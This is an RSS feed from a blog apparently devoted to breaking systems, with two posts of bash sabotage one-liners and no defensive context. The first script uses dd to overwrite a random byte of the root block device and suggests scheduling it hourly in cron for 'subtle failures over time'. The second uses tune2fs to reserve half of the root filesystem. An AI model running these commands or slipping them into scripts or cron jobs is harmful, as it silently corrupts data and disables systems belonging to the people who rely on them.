<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Breaking Systems for Fun and Profit &#187; Filesystem Follies</title>
	<atom:link href="http://breakingsystemsforfunandprofit.com/archives/category/kernel/filesystem-follies/feed" rel="self" type="application/rss+xml" />
	<link>http://breakingsystemsforfunandprofit.com</link>
	<description>You _can_ stop the signal.</description>
	<lastBuildDate>Mon, 17 May 2010 09:58:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Accelerated bitrot</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/180</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/180#comments</comments>
		<pubDate>Mon, 18 Jan 2010 17:53:41 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Filesystem Follies]]></category>
		<category><![CDATA[dd]]></category>
		<category><![CDATA[rootfs]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=180</guid>
		<description><![CDATA[Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time: ROOTDEV=$&#40;df -h / &#124; sed -n '2p' &#124; cut -d ' ' -f1&#41; ROOTSZ=$&#91;$&#40;blockdev --getsz ${ROOTDEV}&#41; * 512&#93; LOCATION=$&#91;${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}&#93; dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} [...]]]></description>
			<content:encoded><![CDATA[<p>Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">ROOTDEV</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">df</span> <span style="color: #660033;">-h</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">'2p'</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">' '</span> -f1<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">ROOTSZ</span>=$<span style="color: #7a0874; font-weight: bold;">&#91;</span>$<span style="color: #7a0874; font-weight: bold;">&#40;</span>blockdev <span style="color: #660033;">--getsz</span> <span style="color: #800000;">${ROOTDEV}</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">512</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #007800;">LOCATION</span>=$<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">%</span> <span style="color: #800000;">${ROOTSZ}</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;"><span style="color: #000000; font-weight: bold;">if</span></span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>urandom <span style="color: #007800;">of</span>=<span style="color: #800000;">${ROOTDEV}</span> <span style="color: #007800;">bs</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">count</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">seek</span>=<span style="color: #800000;">${LOCATION}</span> <span style="color: #007800;">conv</span>=notrunc</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/180/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>No Reservations?</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/164</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/164#comments</comments>
		<pubDate>Tue, 15 Dec 2009 11:00:31 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Filesystem Follies]]></category>
		<category><![CDATA[rootfs]]></category>
		<category><![CDATA[tune2fs]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=164</guid>
		<description><![CDATA[tune2fs -m50 $&#40;mount &#124; awk '/on \/ type/{print $1}'&#41;]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">tune2fs <span style="color: #660033;">-m50</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">mount</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'/on \/ type/{print $1}'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/164/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
